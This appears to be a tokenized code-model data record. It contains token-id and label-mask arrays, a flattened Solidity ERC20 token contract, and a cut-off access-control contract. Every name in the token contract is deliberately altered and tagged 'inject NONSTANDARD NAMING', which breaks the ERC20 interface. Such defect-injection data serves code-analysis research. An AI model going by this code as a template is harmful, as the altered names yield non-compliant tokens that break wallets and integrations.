0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2549, 1079, 1179, 12, 203, 565, 467, 1079, 1179, 394, 1079, 1179, 203, 225, 262, 3903, 1338, 5541, 1661, 7170, 1887, 12, 2867, 12, 2704, 1079, 1179, 3719, 288, 203, 565, 309, 261, 2150, 1179, 422, 394, 1079, 1179, 13, 203, 1377, 15226, 17795, 1079, 1179, 3178, 12, 2867, 12, 2150, 1179, 10019, 203, 203, 565, 1758, 1592, 1887, 273, 1758, 12, 2150, 1179, 1769, 203, 565, 883, 1179, 273, 394, 1079, 1179, 31, 203, 203, 565, 3626, 2350, 1179, 7381, 12, 1673, 1887, 16, 1758, 12, 2704, 1079, 1179, 10019, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; abstract contract Context { function _MSGSENDER992() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA175() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.7.0; abstract contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED997(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () { address msgSender = _MSGSENDER992(); _owner = msgSender; emit OWNERSHIPTRANSFERRED997(address(0), msgSender); } function OWNER339() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER550() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER992(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP139() public virtual ONLYOWNER550 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED997(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP225(address newOwner) public virtual ONLYOWNER550 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED997(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.7.0; interface IERC20 { function TOTALSUPPLY922() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF652(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER63(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE433(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE424(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM684(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER2(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL660(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.7.0; library SafeMath { function ADD188(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB887(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB887(a, b, "SafeMath: subtraction overflow"); } function SUB887(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL824(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV117(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV117(a, b, "SafeMath: division by zero"); } function DIV117(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD43(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD43(a, b, "SafeMath: modulo by zero"); } function MOD43(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.7.0; library Address { function ISCONTRACT474(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE77(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function FUNCTIONCALL72(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALL72(target, data, "Address: low-level call failed"); } function FUNCTIONCALL72(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING return _FUNCTIONCALLWITHVALUE560(target, data, 0, errorMessage); } function FUNCTIONCALLWITHVALUE798(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALLWITHVALUE798(target, data, value, "Address: low-level call with value failed"); } function FUNCTIONCALLWITHVALUE798(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING require(address(this).balance >= value, "Address: insufficient balance for call"); return _FUNCTIONCALLWITHVALUE560(target, data, value, errorMessage); } function _FUNCTIONCALLWITHVALUE560(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING require(ISCONTRACT474(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.7.0; contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } function NAME785() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL27() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS635() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } function TOTALSUPPLY922() public view override returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF652(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER63(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER915(_MSGSENDER992(), recipient, amount); return true; } function ALLOWANCE433(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE424(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _APPROVE360(_MSGSENDER992(), spender, amount); return true; } function TRANSFERFROM684(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER915(sender, recipient, amount); _APPROVE360(sender, _MSGSENDER992(), _allowances[sender][_MSGSENDER992()].SUB887(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE518(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE360(_MSGSENDER992(), spender, _allowances[_MSGSENDER992()][spender].ADD188(addedValue)); return true; } function DECREASEALLOWANCE831(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE360(_MSGSENDER992(), spender, _allowances[_MSGSENDER992()][spender].SUB887(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER915(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _BEFORETOKENTRANSFER811(sender, recipient, amount); _balances[sender] = _balances[sender].SUB887(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD188(amount); emit TRANSFER2(sender, recipient, amount); } function _MINT943(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _BEFORETOKENTRANSFER811(address(0), account, amount); _totalSupply = _totalSupply.ADD188(amount); _balances[account] = _balances[account].ADD188(amount); emit TRANSFER2(address(0), account, amount); } function _BURN600(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _BEFORETOKENTRANSFER811(account, address(0), amount); _balances[account] = _balances[account].SUB887(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB887(amount); emit TRANSFER2(account, address(0), amount); } function _APPROVE360(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL660(owner, spender, amount); } function _SETUPDECIMALS497(uint8 decimals_) internal { //inject NONSTANDARD NAMING _decimals = decimals_; } function _BEFORETOKENTRANSFER811(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING } // File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.7.0; abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; function BURN436(uint256 amount) public virtual { //inject NONSTANDARD NAMING _BURN600(_MSGSENDER992(), amount); } function BURNFROM809(address account, uint256 amount) public virtual { //inject NONSTANDARD NAMING uint256 decreasedAllowance = ALLOWANCE433(account, _MSGSENDER992()).SUB887(amount, "ERC20: burn amount exceeds allowance"); _APPROVE360(account, _MSGSENDER992(), decreasedAllowance); _BURN600(account, amount); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol pragma solidity ^0.7.0; abstract contract ERC20Capped is ERC20 { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } function CAP988() public view returns (uint256) { //inject NONSTANDARD NAMING return _cap; } function _BEFORETOKENTRANSFER811(address from, address to, uint256 amount) internal virtual override { //inject NONSTANDARD NAMING super._BEFORETOKENTRANSFER811(from, to, amount); if (from == address(0)) { // When minting tokens require(TOTALSUPPLY922().ADD188(amount) <= _cap, "ERC20Capped: cap exceeded"); } } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.7.0; contract TokenRecover is Ownable { function RECOVERERC20547(address tokenAddress, uint256 tokenAmount) public ONLYOWNER550 { //inject NONSTANDARD NAMING IERC20(tokenAddress).TRANSFER63(OWNER339(), tokenAmount); } } // File: contracts/service/ServiceReceiver.sol pragma solidity ^0.7.0; contract ServiceReceiver is TokenRecover { mapping (bytes32 => uint256) private _prices; event CREATED286(string serviceName, address indexed serviceAddress); //inject NONSTANDARD NAMING function PAY507(string memory serviceName) public payable { //inject NONSTANDARD NAMING require(msg.value == _prices[_TOBYTES32816(serviceName)], "ServiceReceiver: incorrect price"); emit CREATED286(serviceName, _MSGSENDER992()); } function GETPRICE918(string memory serviceName) public view returns (uint256) { //inject NONSTANDARD NAMING return _prices[_TOBYTES32816(serviceName)]; } function SETPRICE38(string memory serviceName, uint256 amount) public ONLYOWNER550 { //inject NONSTANDARD NAMING _prices[_TOBYTES32816(serviceName)] = amount; } function WITHDRAW870(uint256 amount) public ONLYOWNER550 { //inject NONSTANDARD NAMING payable(OWNER339()).transfer(amount); } function _TOBYTES32816(string memory serviceName) private pure returns (bytes32) { //inject NONSTANDARD NAMING return keccak256(abi.encode(serviceName)); } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.7.0; contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { ServiceReceiver(receiver).PAY507{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/CommonERC20.sol pragma solidity ^0.7.0; contract CommonERC20 is ERC20Capped, ERC20Burnable, Ownable, ServicePayer { // indicates if minting is finished bool private _mintingFinished = false; event MINTFINISHED365(); //inject NONSTANDARD NAMING modifier CANMINT575() { //inject NONSTANDARD NAMING require(!_mintingFinished, "CommonERC20: minting is finished"); _; } constructor ( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 initialBalance, address payable feeReceiver ) ERC20(name, symbol) ERC20Capped(cap) ServicePayer(feeReceiver, "CommonERC20") payable { _SETUPDECIMALS497(decimals); _MINT943(_MSGSENDER992(), initialBalance); } function MINTINGFINISHED194() public view returns (bool) { //inject NONSTANDARD NAMING return _mintingFinished; } function MINT11(address to, uint256 value) public CANMINT575 ONLYOWNER550 { //inject NONSTANDARD NAMING _MINT943(to, value); } function FINISHMINTING61() public CANMINT575 ONLYOWNER550 { //inject NONSTANDARD NAMING _mintingFinished = true; emit MINTFINISHED365(); } function _BEFORETOKENTRANSFER811(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) { //inject NONSTANDARD NAMING super._BEFORETOKENTRANSFER811(from, to, amount); } }
inject NONSTANDARD NAMING
function ALLOWANCE433(address owner, address spender) external view returns (uint256);
12,985,110
[ 1, 4625, 348, 7953, 560, 30, 4590, 18708, 882, 18264, 423, 2192, 1360, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18592, 4722, 24, 3707, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/access/Authorizable.sol pragma solidity ^0.5.8; contract Authorizable is Ownable { mapping(address => bool) private authorized; modifier onlyAuthorized() { require(authorized[msg.sender], "Authorizable: Address is not authorized"); _; } event AddressEnabled(address enabledAddress); event AddressDisabled(address disabledAddress); function enableAddress(address _address) public onlyOwner { authorized[_address] = true; emit 